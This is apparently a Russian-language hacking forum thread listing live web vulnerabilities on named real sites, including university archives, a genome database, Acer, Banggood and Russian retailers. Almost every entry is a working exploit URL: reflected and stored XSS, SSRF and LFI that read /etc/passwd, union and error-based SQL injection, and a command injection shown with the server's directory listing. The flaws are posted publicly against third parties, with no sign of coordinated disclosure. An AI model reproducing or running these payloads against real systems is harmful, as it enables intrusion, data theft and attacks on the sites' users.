Уязвимости SQLi, XSS и другие.

Code:

Post-Reformation Digital Library (PRDL) - database that organizes the vast array of publicly available digital sources on the development of theology and philosophy during the early modern era (late 15th-18th c.). The PRDL spans collections from major research libraries, independent scholarly initiatives, and corporate documentation projects.

Code:

https://www.prdl.org/pub_name.php?p_name=%3Cscript%3Eprompt(%22xss%22)%3C/script%3E

 

Code:

https://www.metaltorg.ru/metal_catalog/tsvetnyye_metally_splavy_prokat/dragotsennyye_metally/zoloto/?module=index%27%22()%26%25%3CScRiPt%20%3Eprompt(972295)%3C/ScRiPt%3E

 

University of Oxford
Faculty of Oriental Studies
XSS -

Code:

http://etcsl.orinst.ox.ac.uk/cgi-bin/etcsl.cgi?charenc=j&display=Crit&text=%3C%2Ffont%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cfont%3E

 

И снова учебное заведение в Великобритании

Macmillan Academy

XSS -

Code:

http://www.macmillan-academy.org.uk/search.php

В поле поиска вставляем - '"<script>alert(1);</script>

 

SSRF

Code:

surfmaxxx.ru/system/web.php?u=file:///etc/passwd

 

XSS in
The European Genome-phenome Archive (EGA)

Code:

https://ega-archive.org/search-results.php?query=<script>alert('1')</script>

 

LFI

Code:

https://www.bridgeworld.com/indexphp.php?page=../../../../../etc/passwd

 

ERROR Based SQL injection

Code:

https://client-api.coronavirus-monitor.com/v1/city-comments?per-page=20&q[id_city][or]=1=1)%20union%20SELECT%20cast(concat(version())%20as%20bigint)%20FROM%20information_schema.tables%20--+-

 

PENNSYLVANIA ASSOCIATION OF PRIVATE SCHOOL ADMINISTRATORS

Code:

https://papsa.org/search/results.php?s=%3Cscript%3Ealert(%271%27)%3C/script%3E

 

Code:

EPOMM is the European Platform on Mobility Management, a network of governments in European countries that are engaged in Mobility Management (MM)

XSS:

Code:

http://www.epomm.eu/index.php?country_id=21&id=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E

 

code executed

Code:

https://joemonster.org/search.php?q=dir%26dir

поле поиска под фильтрацией, но есть частичное исполнения комманд

Code:

dir&dir

ответ

Code:

Volume in drive H is Storage<br> Volume Serial Number is 20D8-07C3<br> Directory of H:\Gry

 

Code:

https://euacademics.com/country.php?id="><script>alert(1);</script>

 

Stored XSS на banggood
https://www.banggood.com/qa-question-1714302-1.html

 

The virtual community for English-speaking expats and Russians

Code:

https://www.expat.ru/culturereviews.php?cid=-211+union+select+1,2,3,version (),5,6,7,8,9,10,11--

 

Получил такой отстук из сервисов Yandex

 

ничёси, какая удача!
давно ли это случилось? и что сказали на ББ?

 

Давно, без ответа по этому запостил.
Я в чате боту ответи XSS-кой

 

Code:

https://www.sportmaster.ru/catalog/product/search.do?text=lol%27-prompt(%27hek?%27)-%27&f-delivery=courier

 

Code:

https://thumbs.dfs.ivi.ru/storage9/contents/a/b/78a4a0ed16e16c38c75a92ffa15840.jpg?mod=<svg/onload=alert(document.domain)>

 

Code:

https://www.acer.com/ac/en/US/content/support-product/7603?b=1&pn=%3Cscript%3Ealert(/heck/);%3C/script%3E
https://job.detmir.ru/vacancies/?new-city=%3Csvg/onload=alert(document.domain)%3E